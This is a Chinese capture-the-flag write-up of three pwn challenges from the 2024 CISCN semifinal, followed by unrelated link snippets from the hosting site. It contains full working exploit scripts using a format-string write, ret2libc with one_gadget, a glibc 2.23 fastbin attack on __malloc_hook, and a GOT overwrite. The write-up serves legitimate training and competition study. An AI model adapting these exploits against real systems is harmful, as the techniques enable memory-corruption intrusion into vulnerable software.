2024全国大学生信息安全竞赛(ciscn)半决赛东北赛区Pwn题解

前言

今年Ciscn华东北赛区半决赛的时间比较晚,找东北赛区的师傅要了一份半决赛Pwn题。

听说好像有5个Pwn题,但是只拿到了4个。如果有师傅有剩下那一个欢迎私信我。

拿到手的4个除了最后一个vmJS,还是挺简单的。都是格式化字符串、栈溢出和低版本libc题目,没有出Kernel、LLVM和高版本IO题。

半决赛前提前准备下,顺便练练手,顺手写了一份东北赛区Pwn题解,分享出来,欢迎师傅们批评指正。

Pwn1(格式化字符串+stdout+ret2libc)

拖入IDA分析,发现存在一个格式化字符串漏洞sprintf(buf, buf):

image-20240613191442463

程序运行后打印puts的地址,泄露了libc。但是stdout开启了缓冲区,导致输出的内容无法显示。

直接运行程序,发现真的不会输出任何内容,程序结束时才会刷新缓冲区:

image-20240613192153790

我们看下Init函数:

image-20240613191433776

这里介绍下setvbuf函数,它有三种mode:

  • 全缓冲:0,缓冲区满调用fflush() 后输出缓冲区内容。
  • 行缓冲:1,缓冲区满遇到换行符调用fflush() 后输出缓冲区内容。
  • 无缓冲:2,直接输出。

然后分析下vuln函数,发现存在栈溢出漏洞:

image-20240613191606539

程序很简单,分析完毕,并且思路很清晰:

第一步,通过格式化字符串漏洞修改magic == 1,进入vuln函数。

sprintf函数和printf函数区别:sprinf函数不会把格式化的数据输出,而是写入到sprintf函数的第一个参数。

因此,rdi是指针,rsi是格式化字符串,rdx、rcx、r8、r9是格式化字符串的参数。

题目没开启PIE保护,并且由于magic是bss段地址,会出现\x00截断,需要放到格式化字符串的后面。

计算得出地址的偏移量为6,构造如下payload:

payload = b'a%6$llna' + p64(0x404070)

第二步,如果是常规的题目,我们在这里可以直接ret2libc。但是这题开启了stdout缓冲区,需要想办法将缓冲区内容输出。

无非是下面三种办法:

  • 调用setvbuf设置为无缓冲的stdout:发现程序没有控制第三个参数rdx寄存器的gadget。

  • 调用fflush函数刷新缓冲区:fflush函数在libc,目前还不知道libc地址。

  • 填满缓冲区,程序会将所有的缓冲区内容全部输出:

    for i in range(150):payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(backdoor)p.send(payload)p.recvuntil(b'0x')
    libc_base = int(p.recv(12), 16) - 0x84420
    p.recv()
    print('libc_base = ' + hex(libc_base))
    

第三步,常规打法,直接ret2libc即可。

我这里用了onegadget(需要通过gadget调整下寄存器满足参数),当然也可以system(“/bin/sh\x00”)。

# ret2libc
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:[r15] == NULL || r15 == NULL || r15 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xe3b01 execve("/bin/sh", r15, rdx)
constraints:[r15] == NULL || r15 == NULL || r15 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp'''
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
pop_rdx = libc_base + 0x0000000000142c92payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rsi_r15) + p64(0) * 2 + p64(pop_rdx) + p64(0) + p64(libc_base + one_gadget[2])
p.send(payload)

完整exp如下所示:

from pwn import *context.log_level = 'debug'p = process('./pwn')
elf = ELF('pwn')
libc = ELF('libc-2.31.so')puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
backdoor = 0x401331
pop_rdi = 0x0000000000401463
pop_rsi_r15 = 0x0000000000401461# magic -> 1
payload = b'a%6$llna' + p64(0x404070)
p.send(payload)# leak libc
for i in range(150):payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(backdoor)p.send(payload)p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 0x84420
p.recv()
print('libc_base = ' + hex(libc_base))# ret2libc
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:[r15] == NULL || r15 == NULL || r15 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xe3b01 execve("/bin/sh", r15, rdx)
constraints:[r15] == NULL || r15 == NULL || r15 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp'''
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
pop_rdx = libc_base + 0x0000000000142c92payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rsi_r15) + p64(0) * 2 + p64(pop_rdx) + p64(0) + p64(libc_base + one_gadget[2])
p.send(payload)p.interactive()

Pwn2(glibc2.23堆题)

题目给了2.23版本的libc,拖入IDA简单分析:

image-20240613193310210

程序开头初始化的位置初始化了一个长度为8的数组,数组内容为0x10:

image-20240613193423621

依次分析增删改查函数,add函数如下:

image-20240613193510700

指针数组(heap_array)最多存储8个chunk,输入下标和size后,将size+0x10存储到heap_size_array。

并且,只能申请fastbin大小范围为的chunk 和 0x90大小的chunk。read的size是输入的size+0x10,存在0x10字节溢出。

这里的溢出刚好可以修改下一个chunk的size和fd,除了fastbin,可以申请0x90大小的chunk释放到unsorted bin泄露libc。

(当然,这题就算只能申请fastbin大小范围的chunk也可以做,2.23版本通过溢出改大chunk的size也能释放到unsorted bin)

然后分析edit函数:

image-20240613214738472

最多编辑0x10大小,好像用处不大,可以修改chunk的fd、bk指针的位置。

继续分析delete函数:

image-20240613214901782 image-20240613214915820

一直跟到最后,发现不存在UAF漏洞。

最后分析show函数:

image-20240613214945285

只能调用一次,可以用来输出unsorted bin遗留的fd指针泄露libc。

程序分析完毕,由于是2.23版本的libc,而且程序没有开启PIE和RELRO,GOT表可写,所以做法有很多。

大概有以下几种做法:

  • Unlink控制heap_array数组实现任意地址写,然后(改got表、改__free_hook、改__malloc_hook)都可以。
  • Fastbin Attack控制heap_array数组实现任意地址写,然后(改got表、改__free_hook、改__malloc_hook)都可以。
  • Fastbin Attack控制__malloc_hook写one_gadget。

当然,无论怎么做,首先要泄露libc地址。申请一个chunk放到unsorted bin,然后add回来通过show输出fd遗留的main_arena指针。

add(0, 0x79, b'a' * 0x78)
add(1, 0x18, b'b' * 0x18)	# avoid merge to top_chunk
delete(0)
add(0, 1, b'a')
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x39bb78
print('libc_base = ' + hex(libc_base))

这里介绍最简单的做法,直接fastbin attack改__malloc_hook -> one_gadget。

one_gadget打不通,需要通过realloc调整堆栈。完整exp如下所示:

from pwn import *context(arch='amd64', os='linux', log_level='debug')p = process('./pwn')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')def add(idx, size, content):p.sendlineafter(b'choice?\n', b'1')p.sendlineafter(b'one?\n', str(idx).encode())p.sendlineafter(b'need?\n', str(size).encode())p.sendafter(b'data\n', content)def edit(idx, size, content):p.sendlineafter(b'choice?\n', b'2')p.sendlineafter(b'one?\n', str(idx).encode())p.sendlineafter(b'need?\n', str(size).encode())p.sendafter(b'data\n', content)def delete(idx):p.sendlineafter(b'choice?\n', b'3')p.sendlineafter(b'one?\n', str(idx).encode())def show(idx):p.sendlineafter(b'choice?\n', b'4')p.sendlineafter(b'one?\n', str(idx).encode())# leak libc
add(0, 0x79, b'a' * 0x78)
add(1, 0x18, b'b' * 0x18)   # avoid merge to top_chunk
delete(0)
add(0, 0X79, b'a')
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4b61
print('libc_base = ' + hex(libc_base))# fastbin attack
add(2, 0x68, b'c' * 0x68)
## fd -> __malloc_hook - 0x23
delete(2)
delete(1)
target = libc_base + libc.sym['__malloc_hook'] - 0x23
add(1, 0x18, b'b' * 0x18 + p64(0x71) + p64(target))
add(2, 0x68, b'c' * 0x68)# __malloc_hook -> realloc+8
# __realloc_hook -> one_gadget
realloc = libc_base + libc.sym['realloc']
one_gadget = [0x4527a, 0xf03a4, 0xf1247]
add(4, 0x68, b'p' * 11 + p64(libc_base + one_gadget[0]) + p64(realloc + 8))p.sendlineafter(b'choice?\n', b'1')
p.sendlineafter(b'one?\n', b'0')
p.sendlineafter(b'need?\n', b'100')# gdb.attach(p)
# pause()p.interactive()

Pwn3(C++逆向)

题目是C++编写,不过不是很复杂,就设计2个数据结构和2个操作。

分别是cstr和String的读写,漏洞在程序的数组中。拖入IDA分析:

image-20240613230414223

发现调用了Test类的构造函数,跟入分析:

image-20240613230504309

将v22 + 32的位置初始化一个String指针,然后将v22到v22 + 31的位置填充0。

不用往下分析都知道,这个数组的第0-31个成员存储了c_str,而第32个成员存储String指针。

继续往下,提供了一个菜单交互,并且while(std::ios::good())这个是检查输入流是否正常,即不断有新的输入。

逐个函数分析,先来看1.set c_str功能:

std::operator<<<std::char_traits<char>>(&std::cout, "c_str: ");
v10 = Test::c_str((Test *)v22);
std::operator>><char,std::char_traits<char>>(&std::cin, v10);
Test *__fastcall Test::c_str(Test *this)
{return this;
}

显然,通过cin直接往v22读入数据,并且没有限制长度,这里可以存在溢出并可以篡改String指针地址。

继续分析2.get c_str功能:

v11 = std::operator<<<std::char_traits<char>>(&std::cout, "c_str: ");
v12 = Test::c_str((Test *)v22);
v13 = std::operator<<<std::char_traits<char>>(v11, v12);
std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
Test *__fastcall Test::c_str(Test *this)
{return this;
}

直接通过cout输出数组的内容。

继续分析3.set str功能:

std::operator<<<std::char_traits<char>>(&std::cout, "str: ");
v14 = Test::str[abi:cxx11](v22);
std::operator>><char>(&std::cin, v14);
__int64 __fastcall Test::str[abi:cxx11](__int64 a1)
{return a1 + 32;
}

最后分析4.get str功能:

v15 = std::operator<<<std::char_traits<char>>(&std::cout, "str: ");
v16 = Test::str[abi:cxx11](v22);
v17 = std::operator<<<char>(v15, v16);
std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
__int64 __fastcall Test::str[abi:cxx11](__int64 a1)
{return a1 + 32;
}

直接打印String指针指向的内容。

程序很简单,通过c_str的输入可以覆盖String指针,实现任意地址读写。

题目还给了后门函数:

image-20240613231614872

因此,解法就非常多了,这里给出一个很简单的利用方法。

直接修改std::ios::good()的got表为后门函数即可,完整exp如下所示:

from pwn import *context.log_level = 'debug'p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')backdoor = 0x4016E2# StringPtr -> std::ios::good_got
good = elf.got['_ZNKSt9basic_iosIcSt11char_traitsIcEE4goodEv']
p.sendlineafter(b'choice: ', b'1')
p.sendlineafter(b'c_str: ', b'p' * 32 + p64(good) + p64(8))# std::ios::good_got -> backdoor
p.sendlineafter(b'choice: ', b'3')
p.sendlineafter(b'str: ', p64(backdoor))# gdb.attach(p)
# pause()p.interactive()

Pwn4(vm)

vm题,题目是一个JS解释器。

逆向有点复杂,虽然研究过一部分LLVMPass和vm逆向,但是还是没有搞懂这个题目执行流程。

如果有大佬解出来欢迎分享~

附件

关注公众号【Real返璞归真】回复【ciscn】获取附件下载地址。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/26926.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

构建 LLM 应用为什么需要文本加载器,langchain 中如何使用文本加载器?

构建 LLM 应用为什么需要文本加载器&#xff0c;langchain 中如何使用文本加载器&#xff1f; 上一篇文章中 [使用langchain搭建本地知识库系统(新) 我们构建一个 RAG 的本地应用&#xff0c;我们使用到了网页的文本加载器用来动态获取网页的数据。 在不同的应用场景中需要使…

QQ 邮箱绑定校园邮箱失败但 Coremail 论客绑定成功

目录 1 查看本校学生邮件系统官网 2 QQ 邮箱绑定失败 3 Coremail 论客绑定成功 前言&#xff1a;个人觉得每次查看校园邮箱都要打开电脑很不方便&#xff0c;遂决定绑定到 QQ 邮箱 APP 上。 1 查看本校学生邮件系统官网 仅针对我们学校&#xff0c;登录页面给出了邮件服…

MYSQL 索引下推 45讲

刘老师群里,看到一位小友 问<MYSQL 45讲>林晓斌的回答 大意是一个组合索引 (a,b,c) 条件 a > 5 and a <10 and b123, 这样的情况下是如何? 林老师给的回答是 A>5 ,然后下推B123 小友 问 "为什么不是先 进行范围查询,然后在索引下推 b123?" 然后就…

热门开源大模型项目推荐

一&#xff1a;开源大模型热门项目推荐 NNI&#xff1a;由微软发布的开源AutoML工具包&#xff0c;支持神经网络超参数调整。最新版本对机器学习生命周期的各个环节做了全面支持&#xff0c;包括特征工程、神经网络架构搜索(NAS)、超参调优和模型压缩。适用于各种机器学习项目&…

C++240613

自由发挥登录窗口的应用场景&#xff0c;实现一个登录窗口界面 要求&#xff1a;每行代码都有注释 #include "my_widget.h"My_Widget::My_Widget(QWidget *parent): QWidget(parent) {//设置窗口的标题this->setWindowTitle("真爱生命&#xff0c;远离赌博&…

2024大交通场景空间策展洞察报告

来源&#xff1a;邻汇吧&万一商管 近期历史回顾&#xff1a; 2024国内工商业储能市场研究报告.pdf 2023幸福企业白皮书.pdf 2024年欧亚地区移动经济报告.pdf 内容供应链变革 2023人工智能与首席营销官&#xff08;CMO&#xff09; AI科技对PC产业的影响.pdf 金融业数据应用…

智能合约漏洞类型

Are We There Yet? Unraveling the State-of-the-Art Smart Contract Fuzzers | Proceedings of the IEEE/ACM 46th International Conference on Software Engineering

Java求职季 必备知识脑图 收藏起来 !!!

Java初中级知识脑图 面试超实用 1.Git 下载链接 导图下载地址 &#xff1a; https://mm.edrawsoft.cn/mobile-share/index.html?uuid31d00742157057-src&share_type1 2.JUC 下载链接 https://mm.edrawsoft.cn/mobile-share/index.html?uuid6c0be457444921-src&s…

计算机网络 —— 应用层(DNS域名系统)

计算机网络 —— 应用层&#xff08;DNS域名系统&#xff09; 什么是DNS域名的层次结构域名分类 域名服务器的分类域名解析方式递归查询&#xff08;Recursive Query&#xff09;迭代查询&#xff08;Iterative Query&#xff09;域名的高速缓存 我们今天来看DNS域名系统 什么…

批量文件重命名技巧:轻松替换删除文件夹名中的字母,实现高效文件管理新境界

在数字化时代&#xff0c;我们每天都会面对大量的文件和文件夹。无论是工作文档、学习资料还是个人收藏&#xff0c;文件命名的规范性都显得尤为重要。然而&#xff0c;手动一个一个去修改文件名&#xff0c;不仅耗时耗力&#xff0c;还容易出错。那么&#xff0c;有没有一种方…

SAP ABAP 之面向对象OO

文章目录 前言一、类的理解二、如何创建ABAP类 a.类的定义与构成 b.类的访问区域 c.特殊方法 d.类的继承 三、类中参数的使用 a.IMPORTING / EXPORTING b.CHANGING c.RETURNING d.EX…

PHP杂货铺家庭在线记账理财管理系统源码

家庭在线记帐理财系统&#xff0c;让你对自己的开支了如指掌&#xff0c;图形化界面操作更简单&#xff0c;非常适合家庭理财、记账&#xff0c;系统界面简洁优美&#xff0c;操作直观简单&#xff0c;非常容易上手。 安装说明&#xff1a; 1、上传到网站根目录 2、用phpMyad…

leetcode695 岛屿的最大面积

题目 给你一个大小为 m x n 的二进制矩阵 grid 。 岛屿 是由一些相邻的 1 (代表土地) 构成的组合&#xff0c;这里的「相邻」要求两个 1 必须在 水平或者竖直的四个方向上 相邻。你可以假设 grid 的四个边缘都被 0&#xff08;代表水&#xff09;包围着。 岛屿的面积是岛上值…

基于springboot实现入校申报审批系统项目【项目源码+论文说明】计算机毕业设计

基于springboot实现入校申报审批系统演示 摘要 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费事费力。因此&#xff0c;在计算机上安装入校申报审批系统软…

【最新鸿蒙应用开发】——Context上下文对象

应用上下文Context 1. 概述 应用上下文&#xff08;Context&#xff09;是应用程序的全局信息的接口。它是一个抽象类&#xff0c;提供了访问应用程序环境的方法和资源的方法。应用上下文可以用于获取应用程序的资源、启动Ability、发送广播等。每个应用程序都有一个应用上下…

【机器学习】机器学习赋能医疗健康:从诊断到治疗的智能化革命

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀目录 &#x1f4d2;1. 引言&#x1f4d9;2. 机器学习在疾病诊断中的应用&#x1f9e9;医学影像分析&#xff1a;从X光到3D成像带代码&#x1…

C++面试准备

变量作用&#xff1a;给一段指定的内存空间起名&#xff0c;方便操作这段内存。 常量&#xff1a;用于记录程序中不可更改的数据。 #include <iostream> using namespace std;#define DAY 7 int main() {cout << "一周有" << DAY << "…

路由器怎么设置局域网?

局域网&#xff08;Local Area Network&#xff0c;LAN&#xff09;是指在一个相对较小的地理范围内&#xff0c;如家庭、办公室或学校等&#xff0c;通过路由器等设备连接起来的计算机网络。设置局域网可以方便地实现内部资源共享和信息交流。本文将介绍如何设置局域网以及一个…

maven 显式依赖包包含隐式依赖包,引起依赖包冲突

问题&#xff1a;FlinkCDC 3.0.1 代码 maven依赖包冲突 什么是依赖冲突 依赖冲突是指项目依赖的某一个jar包&#xff0c;有多个不同的版本&#xff0c;因而造成类包版本冲突 依赖冲突的原因 依赖冲突很经常是类包之间的间接依赖引起的。每个显式声明的类包都会依赖于一些其它…

Java I/O操作

引言 在Java编程中&#xff0c;输入和输出&#xff08;I/O&#xff09;操作是必不可少的部分。Java I/O通过一系列流&#xff08;Stream&#xff09;类和方法&#xff0c;支持文件操作、控制台输入输出、网络I/O等多种I/O操作。本文将详细介绍Java I/O的基础概念、文件操作、字…